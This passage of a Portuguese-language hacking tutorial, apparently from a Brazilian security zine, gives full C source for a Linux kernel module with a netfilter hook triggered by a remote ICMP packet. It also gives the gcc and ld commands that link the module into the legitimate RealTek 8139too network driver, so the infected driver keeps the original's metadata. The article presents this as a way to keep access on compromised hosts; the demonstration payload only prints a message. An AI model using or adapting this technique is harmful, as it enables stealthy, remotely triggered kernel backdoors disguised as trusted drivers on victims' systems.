Vamos utilizar como exemplo o driver 8139too.o, que normalmente está em “/lib/module/kernel_versao/kernel/drivers/net/8139too.o.gz”. Note que ele está compactado (na maioria das distribuicoes), então não tente injetar seu módulo sem antes descompactar. O código que sera injetado é o que foi exposto acima, levemente modificado (embora continue fazendo nada mais do que exibir mensagens). Segue o código:

<++>lkm_injection/8139injekt.c
/*
* Implementacao de lkm com codigo nocivo ativado remotamente,
* atraves do recebimento de um pacote ICMP de 50 bytes, que pode
* ser alterado passando o parametro pkt_size:
* #insmod 8139injekt.o pkt_size=100
* preparado para infectar driver da placa de rede realtek 8139too
* /lib/modules/2.4.x/kernel/drivers/net/8139too.o.gz
*
*/
#define __KERNEL__
#define MODULE
#define P_SIZE_OFFSET 28
#include <linux/config.h>
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/ip.h>
#include <linux/net.h>
#include <linux/in.h>
#include <linux/netfilter.h>
#include <linux/netfilter_ipv4.h>
#include <linux/netdevice.h>
#include <linux/pci.h>
int exec_injetk(void);
extern RTL8139_DRIVER_NAME;
extern rtl8139_pci_driver;
//extern pci_module_init();
unsigned int pkt_size = 22;
struct nf_hook_ops nfh;
unsigned int i_ll_hook_you(unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff*));
int init_module()
{
/* codigo do driver original */
/* when we're a module, we always print a version message,
* even if no 8139 board is found.
*/
#ifdef MODULE
printk("<8> %s \n", RTL8139_DRIVER_NAME);
#endif
nfh.hooknum  = NF_IP_LOCAL_IN;
nfh.priority = NF_IP_PRI_FIRST;
nfh.hook     = i_ll_hook_you;
nfh.pf       = PF_INET;
nf_register_hook(&nfh);
/* codigo do driver original */
return pci_module_init(&rtl8139_pci_driver);
}
void cleanup_module ( )
{
/* remove a hook */
nf_unregister_hook( &nfh );
/* codigo do driver original */
pci_unregister_driver(&rtl8139_pci_driver);
}
int i_am_terrible( )
{
printk ( "<1> EU SOU UMA LKM DO MAU!!!\n\n" );
return 0;
}
unsigned int i_ll_hook_you (
unsigned int hooknum,
struct sk_buff **skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn)(struct sk_buff * ) ) {
struct sk_buff *sk = *skb;
if ( sk->nh.iph->protocol == IPPROTO_ICMP &&
sk->len == P_SIZE_OFFSET + pkt_size ) {
i_am_terrible();
return NF_STOLEN;
}
return NF_ACCEPT;
}
MODULE_PARM ( pkt_size, "i" );
MODULE_PARM_DESC ( pkt_size, "Tamanho de pacote ICMP  ( Padrao = 50 )" );
<-->lkm_injection/8139injekt.c

Compile e linke o modulo. Apos linkar, sera exibida uma mensagem de advertência:


# gcc -O3 -c 8139injekt.c
# ld -r -z muldefs 8139inject.o 8139too.o -o devil.o
ld: Warning: size of symbol `init_module' changed from 139 in badcode.o
to 70 in 8139too.o
ld: Warning: size of symbol `cleanup_module' changed from 32 in badcode.o
to 12 in 8139too.o
# modinfo devil.o
filename:    devil.o
description: "RealTek RTL-8139 Fast Ethernet driver"
author:      "Jeff Garzik <jgarzik@pobox.com>"
license:     "GPL"
parm:        pkt_size int, description "Tamanho de pacote ICMP
( Padrao = 50 )"
parm:        multicast_filter_limit int, description "8139too maximum number
of filtered multicast addresses"
parm:        max_interrupt_work int, description "8139too maximum events
handled per interrupt"
parm:        media int array (min = 1, max = 8), description "8139too: Bits
4+9: force full duplex, bit 5: 100Mbps"
parm:        full_duplex int array (min = 1, max = 8), description "8139too:
Force full duplex for board(s) (1)"
parm:        debug int, description "8139too bitmapped message enable number"

Observe que o modulo agora contem o parametro que definimos anteriormente, em nosso modulo. Após carregar o modulo, o hook do netfilter que foi criada estará disponivel e, para ativar a nossa funcao “i_am_terrible”, basta um “ping -s 22 ip.da.vitima”. Note que o PING nao vai retornar resposta, visto que o pacote sera descartado no hook. Entretanto, funcionara perfeitamente. Ultima observação: Não tente fazer isso com um driver de um dispositivo nao presente na maquina, os resultados podem ser desastrosos ( panic() ).

Muito pode ser feito com infeccao de modulo, embora pessoas com maior conhecimento normalmente utilizam-se de outros meios para manter acesso em hosts previamente dominados. A utilizacao de modulos para esse fim pode ser bastante efetiva e ao mesmo tempo muito simples de ser implemtentada.

–=[ Agradecimentos e Links/Referencias

Pessoal da scene brasileira toda, em especial ao pessoal que conversocom maior frequencia. Vocês sabem quem sao vocês. Informação é simples de se adquirir, internet esta cheia disso. Basta saber procurar.

http://www.motdlabs.org
http://tds.motdlabs.org
http://gcc.gnu.org/onlinedocs/gcc-3.4.4/gcc/
http://www.gnu.org/software/binutils/manual/ld-2.9.1/html_chapter/ld_toc.html
http://www.netfilter.org/

_EOF_

Fonte

Pagina 1 of 11
SEO Powered by Platinum SEO from Techblissonline